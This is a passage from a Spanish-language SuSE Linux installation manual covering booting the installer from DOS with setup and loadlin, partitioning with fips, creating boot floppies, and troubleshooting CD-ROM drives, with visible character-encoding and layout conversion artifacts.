instalado. Introducir al fichero /etc/hosts del servidor, el nombre y la
direcci≤n IP de la computadora nueva.
52
_________________________________________________________2.5.__Otra_vφa_de_instalaci≤n:_Con_setup_y_loadlin_________________*
*______________________
2.5 Otra vφa de instalaci≤n: Con setup y loadlin
2.5.1 Activar modo DOS de Windows 95
La computadora bajo DOS debe estar en el modo real (ingl. real-mode) para
poder arrancar el programa de instalaci≤n Setup .
El programa de instalaci≤n Setup.exe llama a un programa basado en MS-
DOS denominado loadlin . Este programa solo es capaz de cargar el + Linux
originario en la memoria y arrancarlo si el procesador se encuentra en modo
real o bien si un servidor VCPI 2 estß activo cuando el procesador estß en el
modo virtual del 8086. La ventana DOS de Windows 95 corre en el modo
virtual del 8086, pero no proporciona ning·n servidor VCPI; por lo tanto,
setup no funciona en la ventana DOS.
Paso por paso. . .
Hay dos posibilidades: Cambiar al modo DOS desde Windows 95/98 o entrar
al modo DOS directamente en el momento de arrancar.
Si Windows 95/98 ya se ejecuta, seleccione `Inicio'-`Apagar sistema'-
`Reiniciar equipo en modo MS-DOS'.
Si ya se encuentra en el proceso de arranque, pulse |F___|_8durante el arranque
de Windows 95 y seleccione despuΘs `S≤lo sφmbolo de sistema'.
Posibles problemas
Se pueden presentar problemas si no estß definida la distribuci≤n espa±ola del
teclado y si el driver del CD-ROM no estß cargado:
o En modo DOS no funcionan las tildes y los caracteres especiales. Consul-
tar el apartado 2.7.2 en la pßgina 63La distribuci≤n del teclado en modo
MS-DOS no es correctasubsection.2.7.2.
o En modo DOS no se puede leer la unidad CD-ROM. Consultar el aparta-
do 2.7.3 en la pßgina 63No hay driver de CD-ROM en modo MS-
DOSsubsection.2.7.3
2.5.2 Arrancar Setup y su primera parte
El programa Setup.exe prepara el arranque del + Linux originario. Ahora se
arranca este programa y se ejecuta hasta el punto en que se debe decidir entre
dos posibilidades de arranque para el Linux originario.
Se ha arrancado MS-DOS o una ventana de MS-DOS que no se encuentra en
modo protegido; el primer CD estß en el lector y hay acceso al lector de CDs.
Mediante el programa Setup.exe se podrß ejecutar un Linux originario que
posteriormente se encargarß de realizar realmente la instalaci≤n de Linux.
Ahora es cuando se arranca Setup.exe y se ejecuta hasta el momento de tener
la opci≤n entre dos diferentes maneras de arranque para el Linux originario.
Estas posibilidades son: Disquete de arranque o con loadlin directamente
desde el CD/disco duro.
2 ____________________________________________________
Un servidor VCPI es proporcionado p. ej.por emm386.exe.
*
* 53
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
Paso por paso. . .
La primera parte de Setup se llevarß a cabo del siguiente modo:
1. Arrancar con setup en el directorio raφz del CD.
2. Seleccionar el idioma de dißlogo para pasar por Setup .
3. Introducir la letra de unidad del lector CD-ROM, p. ej. E . Tal vez esta
letra ha sido cambiada a causa de una partici≤n adicional de DOS.
4. Setup.exe saluda ahora,__asφ_ que podemos responder a tanta amabilidad
presionando suavemente |_____-|.
5. Los siguientes apartados tratan sobre c≤mo arrancar el + Linux originario.
Para este tema se requiere tomar mßs decisiones (apartado 2.5.3) que se
comentarßn posteriormente.
2.5.3 ┐C≤mo se arranca el Linux originario desde setup ?
Hay exactamente dos posibilidades para arrancar el + Linux originario a par-
tir del programa setup : Usando disquetes o con la ayuda de loadlin directa-
mente desde el CD. A continuaci≤n se elegirß una de la dos vφas.
Informaci≤n adicional
La vφa mßs simple y c≤moda es naturalmente la del arranque del Linux orig-
inario directamente desde el CD. Para ello se recurre al programa de DOS
loadlin.exe . Este programa carga un fichero con el Kernel de Linux desde
el CD a la memoria, prepara la carga de un RAM-disk y comienza despuΘs
a ejecutar el c≤digo del kernel. Esto solo funciona si la computadora se en-
cuentra en modo real o cuando estΘ en modo virtual del 8086 con un servidor
VCPI3 activo. Esto significa que las ventanas DOS de OS/2 o Windows NT
no funcionan para este fin.
Arrancar desde un disquete siempre funciona pero resulta algo mßs complica-
do y tarda mßs. Atenci≤n: Cuando hablamos aquφ de disquetes, nos referimos
a los disquetes que se generan con setup . Mßs fßcil es, evidentemente, usar
el disquete de arranque de SuSE (o el arranque directo del CD), pero aquφ no
se trata de esto, sino de decidirse entre generar disquetes con setup o cargar
el kernel directamente con loadlin .
Recomendaci≤n
Decφdase por loadlin cuando sea posible ~ o sea, cuando no se trabaja ni bajo
OS/2 ni bajo Windows NT. En caso de duda, se aconseja probar simplemente.
Si no tuviera Θxito, se puede comenzar otra vez con el apartado 2.5.2 en la
pßgina anterior y seleccionar la vφa para generar disquetes.
2.5.4 Instalar loadlin y arrancar Linux originario
En este apartado se instala y se usa loadlin.exe , con el cual se cargarß y
arrancarß un kernel de Linux para luego ejecutar el Linux originario.
_____________________________________________3
Un servidor VCPI proporciona p. ej.emm386.exe.
54
_________________________________________________________2.5.__Otra_vφa_de_instalaci≤n:_Con_setup_y_loadlin_________________*
*______________________
Requisito / Situaci≤n
Si realmente se ha hecho todo hasta aquφ y se desea ver el primer signo de vida
de Linux en la pantalla, entonces ya se han cumplido ítodos los requisitos!
Informaci≤n adicional
Ahora Setup genera en su partici≤n DOS el directorio \loadlin que serß
el encargado de acoger los programas setup.exe , loadlin.exe ; el fichero
Linux.bat y el kernel escogido bajo el nombre zimage . Arrancando de-
spuΘs de esta primera instalaci≤n se llama al fichero Linux.bat (si se efect·a
esta llamada es necesario introducir como parßmetro la partici≤n de ''root'');
este tema se abarca en el apartado 2.10.2 en la pßgina 79Fijar sistemas de
fichero y ''Mountpoints''subsection.2.10.2. Al final de este paso se procede a
cargar y a arrancar el kernel.
Paso por paso. . .
Para instalar loadlin y arrancar el + Linux originario, se procede de la sigu-
iente manera:
1. Seleccionar la opci≤n `loadlin' y pulsar |______|-.
2. Esta pantalla muestra la cantidad de memoria RAM que tiene la computa-_
dora. Generalmente este valor es correcto y se afirma pulsando |_____-|. Si
la cantidad de RAM no fuera correcta, se debe corregir.
3. Ahora se debe saber si Linux soporta el lector CD-ROM.
o Si Linux soporta el lector CD-ROM, se pulsa |______|-y listo!.
o Si Linux no soporta el lector CD-ROM no pasa nada, porque ya se han
copiado (apartado 2.4.1 en la pßgina 49Instalaci≤n desde una partici≤n
DOSsubsection.2.4.1) los ficheros en el_disco_duro. Seleccionar aho-
ra la opci≤n `Disco duro' y pulsar |_____-|. Seguidamente introducir
el path en el cual se habφa copiado el directorio suse. En el ejemp-
lo del apartado 2.4.1 en la pßgina 49Instalaci≤n desde una partici≤n
DOSsubsection.2.4.1 se us≤ \pepe , por tanto se debe escribir \pepe .
No hace falta indicar el directorio por debajo (suse ).
4. Ahora se debe elegir un kernel adecuado.
5. En este paso se tratan los parßmetros del kernel. Por cada lφnea se indica
un parßmetro, una lφnea en blanco significa listo. ┐QuΘ parßmetros poner?
En el apartado 14.1 en la pßgina 357Drivers del kernelsection.14.1 hay
indicaciones detalladas sobre los parßmetros.
6. La siguiente pantalla pregunta si se desea instalar el programa loadlin .
Esto se afirma con `Sφ'. Setup genera entonces el directorio \loadlin
y copia los ficheros en Θl.
7. Ahora se arranca el + Linux originario usando la opci≤n `Cargar Lin-
ux'. Haciendo Θsto pasarßn alrededor de dos pßginas de texto por la
pantalla que genera el kernel. Si todo va bien, el programa linuxrc en-
vφa un saludo. TambiΘn se puede leer_con_tranquilidad_el_texto_generado___ _________
por el kernel, usando las teclas |S_______h|ift+ |B_________|ildy "|_______S|hift+ |B_________|ildpa#ra
repasarlo de arriba a abajo.
*
* 55
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
Ahora la instalaci≤n contin·a como se ha explicado en el apartado 2.2.3 en la
pßgina 31La base: linuxrc subsection.2.2.3.
Posibles problemas
Aquφ se pueden presentar problemas en dos puntos diferentes: loadlin no se
puede cargar o no puede arrancar el kernel, o bien, el kernel tiene problemas
con el hardware.
o loadlin no tiene suficiente memoria para cargar el kernel. Consultar:
apartado 2.7.9 en la pßgina 66loadlin necesita mßs memoria para cargar
el kernelsubsection.2.7.9.
o loadlin no puede arrancar el kernel, la computadora corre en el modo
virtual del 8086 y no hay ning·n servidor VCPI disponible. Con-
sultar: apartado 2.7.11 en la pßgina 66DOS se encuentra en modo
protegidosubsection.2.7.11.
o loadlin no funciona: Consultar apartado 2.7.10 en la pßgina 66loadlin no
funcionasubsection.2.7.10.
o El CD-ROM es defectuoso: Consultar apartado 2.7.4 en la pßgina 64El
CD es defectuososubsection.2.7.4.
56
________________________________________________________________________________________2.6.__Bloques_de_informaci≤n________*
*______________________
2.6 Bloques de informaci≤n
2.6.1 Hacer espacio para Linux (particionar)
La idea es preparar el disco duro para alojar nuevas particiones Linux. Esper-
amos que se tenga un poco de tiempo para repasar este apartado con tranquil-
idad; es recomendable tener un par de disquetes o cintas para un respaldo o
copia de seguridad y tambiΘn un disquete de arranque del sistema operativo
actual.
Informaci≤n adicional
Particionando se puede dividir un disco duro en varias zonas que son bastante
independientes entre sφ. Una buena raz≤n para generar varias particiones
es la posibilidad de la coexistencia de varios sistemas operativos con sus
correspondientes sistemas de fichero en un solo disco duro.
┐C≤mo generar entonces espacio para particiones de Linux?
o Es posible borrar por separado particiones del disco duro; con esta op-
eraci≤n se pierden todos los ficheros que se encuentran en ella. El espacio
que se libera de este modo en el disco estarß entonces a disposici≤n para
una nueva partici≤n (p. ej. Linux) o bien para varias.
o TambiΘn es posible asignar particiones concretas a otros sistemas opera-
tivos pero se perderßn todos los ficheros de la partici≤n como si se estu-
viera borrando.
o Bajo MS-DOS o Windows 95/98 es posible disminuir el tama±o de la
·ltima partici≤n del disco sin pΘrdida de ficheros. Antes de particionar
es necesario usar un programa de defragmentaci≤n para que todos los
ficheros se sit·en al comienzo de Θsta. Si solo existe una partici≤n de
MS-DOS o de Windows, resulta sencillo con este mΘtodo, hacer espacio
para particiones Linux. DespuΘs de la defragmentaci≤n se pueden usar
programas especiales ~ p. ej. el programa freeware fips ~ para disminuir
el lφmite superior del cilindro y asφ achicar el tama±o de la partici≤n. fips
se encuentra en el CD 1 en el directorio dosutils.
o Un mΘtodo muy c≤modo, si bien acompa±ado de costes, es el de la insta-
laci≤n de un disco duro adicional.
_______________________________________________________________________________________________________________________|||
|||||||| || |
|||||||| Al modificar particiones es necesario trabajar cuidadosamente, vigilando || |
|||||||| las instrucciones del software a tal efecto. No obstante, pueden apare- || |
|||||||| || |
|||||||| cer problemas que provoquen la pΘrdida completa de ítodos los datos! En || |
|||||||| SuSE no nos podemos responsabilizar del buen funcionamiento de la parti- || |
|||||||| || |
|||||||| ci≤n del disco. En todo caso es muy recomendable hacer copias de seguri- || |
|||||||| dad, como mφnimo de los ficheros mßs importantes y preparar un disquete || |
|||||||| || |
|||||||| de arranque. || |
||||||||_______________________________________________________________________________________________________________||_
Paso por paso. . .
Para particionar el disco duro se hace lo siguiente:
1. Se debe saber cußntas particiones hay en el disco y quΘ tama±o tienen.
Para averiguarlo se usa el programa fdisk del sistema operativo.
*
* 57
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
2. Planificar la cantidad de particiones requeridas y sus tama±os. La infor-
maci≤n al respecto estß en el apartado 2.8 en la pßgina 70Particionar para
principiantessection.2.8 y en el apartado 2.9 en la pßgina 71Particionar
para avanzadossection.2.9.
3. Apuntar el plan de particiones en un papel ya que se necesitarßn estos
datos varias veces durante la instalaci≤n.
4. En este momento se recomienda encarecidamente hacer un respaldo de
todos los ficheros en el disco duro. Si no se tiene una unidad de cinta
(ingl. streamer) y tampoco se quiere salvar todo en disquetes, entonces
como mφnimo se han de salvar los datos mßs importantes y los ficheros
de arranque y de configuraci≤n (p. ej. config.sys, autoexec.bat y *.
ini). Generar un disquete de arranque para el sistema operativo actual y
probar si se puede arrancar con Θste. En este disquete de arranque tambiΘn
se necesita un par de herramientas como p.ej. un editor, el programa de
particionar fdisk y el programa para hacer respaldos.
5. Se contin·a de acuerdo a la configuraci≤n:
o DOS/Windows 95/98, una partici≤n en el disco duro y, sin respaldo
completo (ingl. File-Backup):
Hace falta disminuir el tama±o de la partici≤n sin producir pΘrdida de
datos. Para ello, se mueven todos los datos al comienzo de la partici≤n;
con este fin se puede usar p. ej. el programa defrag.exe (MS-DOS 6 o
Windows 95/98).
Los programas de defragmentaci≤n no suelen mover ficheros escon-
didos ni ficheros de sistema, ya que estos pueden estar ''anclados'' en
un sitio definido del disco duro a causa de una protecci≤n de copia.
Cuando se estß seguro de no tener tales ficheros en el disco, se pueden
desactivar los atributos oculto o sistema en todos los ficheros que
los tengan activados o, seg·n el programa de defragmentaci≤n usado,
ajustar unos parßmetros y forzar la defragmentaci≤n de estos ficheros;
las versiones mßs recientes de defrag usan para ello el comando /P .
El fichero de intercambio (''swap'') de Windows tambiΘn es un fichero
oculto. Si estß mal colocado se debe desactivar bajo Windows en la
''Configuraci≤n de sistema''.
Si finalmente se consigue suficiente espacio al final de la partici≤n,
dirφjase entonces al directorio \dosutils\fips\fips15 del primer
CD. Allφ se encuentra el programa fips.exe que permite disminuir el
tama±o de la partici≤n.
Antes de arrancar este programa, conviene estudiar las instrucciones
amplias que se encuentran en el mismo directorio, ya que se trata de
un tema un poco delicado. Por lo demßs, cabe se±alar que fips.exe
solamente se ejecuta bajo DOS asφ que tendrß que finalizar Windows o
llevar Windows 95/98 al modo DOS (ver tambiΘn el apartado 2.5.1 en
la pßgina 53Activar modo DOS de Windows 95subsection.2.5.1).
DespuΘs de ejecutar fips.exe se tiene una segunda partici≤n en el disco
duro, la cual se particionarß luego para Linux.
58
________________________________________________________________________________________2.6.__Bloques_de_informaci≤n________*
*______________________
_______________________________________________________________________________________________________________________||
|||||||| TambiΘn se puede achicar particiones del tipo fat32 usando fips.exe del ||| |
||||||||| directorio \dosutils\fips\fips20 .íAntes de utilizar esta versi≤n de || ||
|||||||| FIPS, se debe hacer en todo caso un respaldo de los datos! ||| |
||||||||_______________________________________________________________________________________________________________||_
o DOS/Windows 95/98 y varias particiones y, un respaldo completo
de los datos (ingl. File-Backup):
Al borrar la partici≤n DOS generßndola despuΘs con tama±o reducido,
se pierden todos los datos contenidos en ella, asφ que se necesita un
respaldo de ficheros previo; no es suficiente un respaldo de la imagen
del disco (ingl. Image backup). Con fdisk se borran todas las parti-
ciones antiguas y se generan las nuevas. El pr≤ximo paso consiste en
formatear la(s) partici≤n(es) e instalar el sistema operativo, copiando
todos los ficheros desde el respaldo.
6. Arrancar la computadora desde cero.
7. Comprobar ahora si el sistema operativo funciona correctamente. Con
YaST se puede generar despuΘs la partici≤n Linux en el espacio del disco
que se acaba de obtener.
Posibles problemas
Se pueden presentar los siguientes problemas:
o No es posible achicar la partici≤n lo suficiente, ya que existen al-
gunos ficheros o bloques inamovibles: ver el apartado 2.7.1 en la pßgi-
na 63Ficheros inamoviblessubsection.2.7.1.
o El lector CD-ROM tiene ahora una letra de unidad diferente usan-
do DOS o Windows. Bajo Windows 95/98 se cuelga el escritorio:
ver el apartado 2.7.12 en la pßgina 67Letra de unidad del lector CD-
ROMsubsection.2.7.12.
2.6.2 Arrancar con el CD 2
Se puede arrancar no solamente con el CD 1 sino tambiΘn con el CD 2. El
primer CD usa una imagen de arranque (bootimage) de 2,88 MB mientras que
el segundo usa la imagen tradicional de 1,44 MB.
Si estß claro que la computadora puede arrancar desde el CD pero se presen-
tan problemas, use el CD 2. Desafortunadamente existen algunos BIOS que
no reconocen correctamente las imßgenes grandes.
2.6.3 Crear un disquete de arranque bajo DOS
Requisito
Se necesita un disquete HD de 3.5 pulgadas, formateado y la disquetera cor-
respondiente que permita el arranque. Trabajando bajo Windows 95/98 no se
arranca setup en una ventana MS-DOS pero sφ en modo MS-DOS!
*
* 59
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
Informaci≤n adicional
En el CD 1 del directorio /disks hay un par de imßgenes de disquetes (ingl.
Images). Es posible copiar una de estas imßgenes, mediante una utilidad
especial, a un disquete que se convierte entonces en un disquete de arranque.
Estas imßgenes de disquete contienen tambiΘn el ''Loader'' Syslinux y el pro-
grama linuxrc . El programa Syslinux permite seleccionar un kernel durante
el arranque y pasar parßmetros al hardware. ~ El programa linuxrc presta
asistencia cuando se cargan m≤dulos del kernel especiales para el hardware y
finalmente inicia la instalaci≤n.
Normalmente se puede usar el disquete de arranque suministrado para arran-
car la mßquina. Solo en el caso de tener un hardware un tanto ''ex≤tico'',
que no sea soportado por el kernel de este disquete, es necesario generar un
disquete de arranque del modo en que se explica en este apartado.
Con Setup
Paso por paso. . .
Para crear un disquete de arranque se hace lo siguiente:
1. Poner en marcha Setup directamente desde el CD 1.
2. Seleccionar la_opci≤n_`Floppy' y pulsar |______|-, despuΘs `Boot/Arranque'
y de nuevo |_____-|.
3. Ahora se debe elegir un disquete con un kernel adecuado que soporte
p. ej. la adaptadora SCSI. Setup muestra los datos mßs importantes sobre
los diferentes kernels. Si se necesitara informaci≤n adicional, se puede
consultar el fichero \disks\readme.dos
Recuerde el nombre del kernel ya que lo necesitarß luego. DespuΘs pulse
|______|-.
4. Ahora se graba el disquete. Insertar un disquete de 3.5 pulgadas dentro de
la disquetera (debe llevar formato DOS) y seleccionar el tipo de disquete
que se quiere generar.
o Solo se necesita el disquete de arranque ''Boot'' (en SuSE Linux
ya no es necesario el disquete_ `Root'). Colocar el cursor sobre
`Boot/Arranque' y pulsar |_____-|.
o Setup _pide_ reconfirmar que se ha insertado un disquete. Pulsar otra
vez |_____-|. Ahora se procede a grabar el disquete.
o Cuando la grabaci≤n estΘ lista, se presiona |______|-.
o Seleccionar la opci≤n `Listo', para salir de la pantalla y de Setup .
Con rawrite
Otra posibilidad para escribir el disquete en el prompt de DOS es el programa
DOS rawrite.exe (que resulta un poco mßs lento). Se encuentra en el CD 1,
directorio \dosutils\rawrite .
Las imßgenes estßndar de disquetes de arranque se encuentran en el CD 1,
directorio /disks; allφ se puede leer el fichero README. La imagen bootdisk
60
________________________________________________________________________________________2.6.__Bloques_de_informaci≤n________*
*______________________
es el patr≤n para el disquete estßndar. Los verdaderos kernels se encuentran
en el directorio /suse/images y tienen la extensi≤n .ikr.
Si resulta ·til el disquete estßndar suministrado con SuSE Linux, se procede
de la siguiente manera, suponiendo que se encuentra en el directorio del CD:
Q:> dosutils\rawrite\rawrite disks\bootdisk
El asunto se complica un poco si se necesita un kernel para los chipsets EIDE
especiales. En tal caso se copia primero la imagen estßndar (bootdisk) en el
disquete, sobreescribiendo posteriormente el kernel del disquete (linux) con
el kernel EIDE especial(p. ej. con eide.ikr):
Q:> dosutils\rawrite\rawrite disks\bootdisk
Q:> copy suse\images\eide.ikr a:\linux
2.6.4 Crear un disquete de arranque bajo Unix
Requisito
Hay un sistema Unix/Linux que incorpora un lector CD-Rom a su disposi-
ci≤n; ademßs se necesita un disquete libre de errores (formateado).
Para crear el disquete de arranque se procede de la siguiente manera:
1. Si a·n falta formatear el disquete:
tierra: # fdformat /dev/fd0u1440
2. Montar el primer CD (Disk 1); p. ej. hacia /cdrom:
tierra: # mount -tiso9660 /dev/cdrom /cdrom
3. Entrar al directorio disks en el CD:
tierra: # cd /cdrom/disks
4. Generar el disquete de arranque con:
tierra: # dd if=/cdrom/disks/bootdisk of=/dev/fd0 bs=8k
Los ficheros LIESMICH (en alemßn) y README en el directorio disks,
indican las capacidades de cada kernel; estos ficheros se pueden visu-
alizar con more o less (respecto a less vΘase apartado 19.7.3 en la
pßgina 474El contenido de los ficherossubsection.19.7.3).
5. Si se necesita un kernel diferente, se hace lo siguiente:
tierra: # dd if=/cdrom/disks/bootdisk of=/dev/fd0 bs=8k
tierra: # mount -t msdos /dev/fd0 /mnt
tierra: # cp /cdrom/suse/images/eide.ikr /mnt/linux
tierra: # umount /mnt
2.6.5 ┐Linux soporta mi lector CD-ROM?
Se puede decir que por lo general, Linux soporta la mayorφa de los lectores
CD-ROM.
o No se debe presentar ning·n problema usando lectores del tipo + ATAPI.
o En el caso de lectores tipo SCSI solo importa que la controladora SCSI,
que lleva la conexi≤n al CD-ROM, tenga soporte por parte de Linux. Hay
una lista de controladoras soportadas en el banco de datos de componentes
*
* 61
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
CDB (paquete cdb, serie doc o bien en http://cdb.suse.de/). Si
no encontrara soporte para su controladora SCSI y el disco duro estß
conectado a la misma, tal cual tiene un problema :-(
o TambiΘn hay muchos lectores CD-ROM propietarios que funcionan con
Linux. No obstante, pueden presentarse problemas con este grupo de
dispositivos. Si no se menciona explφcitamente su lector, se puede probar
con uno similar del mismo fabricante.
o Ya son bastante comunes los lectores CD-ROM en el puerto paralelo.
Lamentablemente no existe ning·n estßndar para esta clase de disposi-
tivo, lo que ocasiona problemas con frecuencia. SuSE Linux incluye una
serie de drivers en estado Alpha para algunos de estos lectores. Si no fun-
ciona ning·n driver solo queda el desvφo por la partici≤n DOS. TΘngase en
cuenta que existen algunos lectores soportados por Linux, que solo fun-
cionan cuando han sido inicializados por el driver de DOS, efectuando
despuΘs un arranque en caliente.
62
____________________________________________________________________________________2.7.__Descripci≤n_de_problemas__________*
*______________________
2.7 Descripci≤n de problemas
2.7.1 Ficheros inamovibles
Los programas de defragmentaci≤n generalmente no mueven los ficheros
que tienen los atributos sistema o escondido (ingl. system, hidden). Para
averiguar cußles son los ficheros ⁿc lpables", se puede generar con el sigu-
iente comando,
attrib \*.* /s > <nombre-lista>
una lista de los nombres <nombre-lista> de todos los ficheros en el disco
duro. En esta lista se pueden identificar los ficheros y hacerlos movibles con
el comando
attrib -S -H <nombre-fichero>
Conviene disponer un poco de mano izquierda para no romper ning·n fichero
de protecci≤n de copia, ni de intercambio ni tampoco ning·n fichero especial
de sistema. DespuΘs de la defragmentaci≤n se recomienda restablecer los
atributos.
_______________________________________________________________________________________________________________________
|||||||| Bajo Windows se puede usar para tal fin el ''Administrador de ficheros'' o || |
|||||||| || |
|||||||| bien el ''Explorador''. || |
||||||||_______________________________________________________________________________________________________________||_
Si esto no resulta hay que tragar grueso y modificar realmente las particiones
del disco. Esto conlleva, en especial, la necesidad de salvar todos los datos
para poder instalarlos otra vez despuΘs de haber particionado. TambiΘn se
podrφa conseguir un disco nuevo; tal vez favorezcan los precios que se en-
cuentran en continuo descenso. . .
2.7.2 La distribuci≤n del teclado en modo MS-DOS no es correcta
Introducir en modo DOS el siguiente comando:
loadhigh keyb es`c:\windows\command\keyboard.sys
o se introduce directamente en el fichero autoexec.bat. Si el directorio de
Windows tiene otro nombre, se debe modificar el path indicado con el nombre
correspondiente.
2.7.3 No hay driver de CD-ROM en modo MS-DOS
En modo MS-DOS solamente se tiene acceso a los drivers que fueron carga-
dos por los ficheros config.sys y autoexec.bat. Tiene sentido renunciar
a los drivers CD-ROM (y a otros), ya que Windows 95/98 incorpora sus pro-
pios drivers. Para poder usar los drivers en el modo MS-DOS es necesario
generar un enlace a la interfaz de comandos MS-DOS y crear unos ficheros
de arranque propios eligiendo `Propiedades', ficha ''Avanzado'', marcando
`Modo MS-DOS' y `Especificar nueva configuraci≤n de MS-DOS'.
Estos ficheros de arranque para la ventana MS-DOS deben contener los co-
mandos para cargar los drivers.
*
* 63
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
2.7.4 El CD es defectuoso
En realidad esto es muy poco probable, pero ~ evidentemente ~ no se puede
descartar por completo esta posibilidad. En tal caso dirφjase a su distribuidor.
2.7.5 Un lector CD-ROM ATAPI se traba leyendo
Cuando no se reconoce bien un lector CD-ROM + ATAPI o Θl mismo se
traba leyendo, en muchos casos se debe a un fallo en la configuraci≤n de
los componentes. Normalmente todos los dispositivos que se conectan al bus
(E)IDE deben estar conectados en fila, es decir, que el primer dispositivo es
el master en el primer canal y el segundo es el esclavo. El tercer dispositivo
debe ser entonces master en el segundo canal y el cuarto allφ el esclavo.
En realidad resulta que muchas computadoras solamente contienen un disco
duro y un CD-ROM que se encuentra entonces como master en el segundo
canal. En algunas ocasiones Linux no maneja bien este vacφo. Muchas veces
se puede ayudar al kernel introduciendo un parßmetro adicional (hdc=cdrom ,
ver tambiΘn apartado 14.3.2 en la pßgina 360Parßmetros del kernel en el Boot-
Promptsubsection.14.3.2).
TambiΘn puede ocurrir que un dispositivo tenga los ''jumpers'' mal colocados;
esto quiere decir que estß configurado como esclavo pero se encuentra como
master en el segundo canal o viceversa. En caso de duda es recomendable
comprobar y eventualmente corregir estas configuraciones.
A parte de esto, hay una serie de ''chipsets'' EIDE defectuosos que en gran
parte ya se conocen y el kernel contiene c≤digo para solventar los problemas.
Existe un kernel especial para estos casos (ver el README en /disks) y sus
parßmetros se detallan en el apartado 14.3.2 en la pßgina 360Parßmetros del
kernel en el Boot-Promptsubsection.14.3.2.
________________________________________________________________________________________________________*
*________||
| Si no se puede arrancar en un principio, se puede probar con los sigu- *
* ||||
| *
* |||
| ientes parßmetros del kernel. ~ Deben ser introducidos en el ''prompt'' de *
* |||
| arranque: *
* |||
| *
* |||
| boot: linux <Parßmetro a introducir> *
* |||
| Atenci≤n: *
* |||
| *
* |||
| íNo olvide el nombre del kernel (linux) por delante de los parßmetros! *
* |||
|_______________________________________________________________________________________________________*
*________|||_
~ hd<x>=cdrom - <x> simboliza a,b,c,d... y tiene el siguiente significa-
do:
ffl a - Maestro en la 1a controladora IDE
ffl b - Esclavo en la 1a controladora IDE
ffl c - Maestro en la 2a controladora IDE
ffl . . .
Ejemplo para <Parßmetro a introducir>: hdb=cdrom
Con este parßmetro se puede indicar al kernel donde estß el lector CD-
ROM del tipo + ATAPI, si es que el kernel no lo encuentra por sφ mismo.
~ ide<x>=noautotune - <x> vale 0,1,2,3 y tiene el siguiente significado:
64
____________________________________________________________________________________2.7.__Descripci≤n_de_problemas__________*
*______________________
ffl 0 - 1a controladora IDE
ffl 1 - 2a controladora IDE
ffl . . .
Ejemplo para <Parßmetro a introducir>: ide0=noautotune
Este parßmetro ayuda en muchas ocasiones en combinaci≤n con discos
duros del tipo (E)IDE.
_______________________________________________________________________________________________________________________
|||||||| || |
|||||||| En el apartado 14.3.2 en la pßgina 360Parßmetros del kernel en el Boot- || |
|||||||| Promptsubsection.14.3.2 se pueden encontrar parßmetros del kernel adi- || |
|||||||| || |
|||||||| cionales, para los problemas relacionados con hardware SCSI o con tarje- || |
|||||||| tas de red. || |
||||||||_______________________________________________________________________________________________________________||_
2.7.6 Lectores CD-ROM en el puerto paralelo
El programa linuxrc ofrece durante la instalaci≤n todos los drivers disponibles.
Por lo general no hace falta vigilar ning·n comportamiento especial.
Lamentablemente existen muchos lectores que a·n no tienen soporte (p. ej.
los de Freecom ). Incluso es posible que existan lectores que son iguales
seg·n sus etiquetas, pero que unos funcionan y otros no. Aparentemente los
fabricantes han cambiado caracterφsticas internas sin notificaci≤n, usando otro
n·mero de serie. . .
Algunos lectores deben ser inicializados con el driver de DOS antes de ser
usados con Linux:
1. Arranque DOS y deje cargar el driver del + CD-ROM.
2. Introduzca el disquete de arranque de Linux.
3. Efect·e un arranque en caliente.
Si realmente no hay soporte para el lector CD-ROM sigue siendo necesario
hacer el rodeo, pasando por la partici≤n DOS (ver apartado 2.4 en la pßgi-
na 49Instalaci≤n sin soporte del lector CD-ROMsection.2.4).
Para informarse sobre el estado actual de la programaci≤n del puerto paralelo
bajo Linux, consulte http://www.torque.net/linux-pp.html.
2.7.7 Lectores CD-ROM ''propietarios''
íPara los lectores CD-ROM de Mitsumi hay diferentes drivers! Estos drivers
especiales de Mitsumi estßn destinados concretamente al uso con lectores
''antiguos'' que se conectan a su propia controladora (p. ej. LU-005 o FX-
001). íEn caso de lectores mßs recientes (como FX-400) hay que seleccionar
la opci≤n `ATAPI EIDE'!
Lo mismo es vßlido para los lectores de Sony y Aztech.
La ·nica diferencia entre el driver Mitsumi MCDX y el ''normal'' es que,
el primero es capaz de leer CDs de multisesi≤n, asφ que en realidad para la
instalaci≤n no importa cußl de los dos drivers se usa. No obstante, hemos
decidido ofrecer este driver, explφcitamente, porque podrφan existir casos en
los que uno de ellos funciona y el otro no y por lo tanto vale la pena mantener
abiertas todas las posibilidades.
*
* 65
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
2.7.8 Thinkpad ''se duerme'' durante la instalaci≤n
En cualquier momento durante el arranque se abandona el programa :-(
A·n no existe una soluci≤n estßndar. Un camino factible para los modelos
antiguos es la instalaci≤n desde DOS, utilizando setup.exe y cargando Linux
con loadlin (ver el apartado 2.5 en la pßgina 53Otra vφa de instalaci≤n: Con
setup y loadlinsection.2.5).
A lo largo del tiempo nos han llegado los siguientes consejos; de hecho
siempre estamos interesados en sus comentarios:
o Desactivar en la BIOS todas las caracterφsticas de ahorro de energφa;
las palabras clave aquφ, son: ''suspend mode'', ''power management'',
sogsleep features.
o Arrancando desde DOS, cargar el driver CD-ROM en config.sys con la
opci≤n /S (parece indicar sleep ). Esto se hace con el siguiente comando,
en el cual se colocan los correspondientes valores en <drive> y <path>.
DEVICE = <drive>:\<path>\IBMTPCD.SYS /S
o Evitar accesos a la disquetera durante la instalaci≤n.
2.7.9 loadlin necesita mßs memoria para cargar el kernel
No tiene suficiente memoria por debajo de los 640 KB. Se puede intentar
excluir algunos drivers de los ficheros de arranque del sistema (config.sys,
autoexec.bat) o de cargarlos a la memoria alta.
Si hay unidades comprimidas bajo Windows 95/98 y la carga de drivers a
memoria alta no funciona, se deben descomprimir entonces las unidades que
lo estΘn.
2.7.10 loadlin no funciona
Si hay alg·n problema con loadlin , se puede usar este comando con las op-
ciones -v , -t o -d . Lo mejor para escribir la informaci≤n del debug al fichero
debug.out es usar:
C:\> loadlin -d debug.out <parßmetros adicionales>
este fichero se puede enviar al soporte de SuSE . Para <parßmetros
adicionales> se debe introducir algo de la propia configuraci≤n de sis-
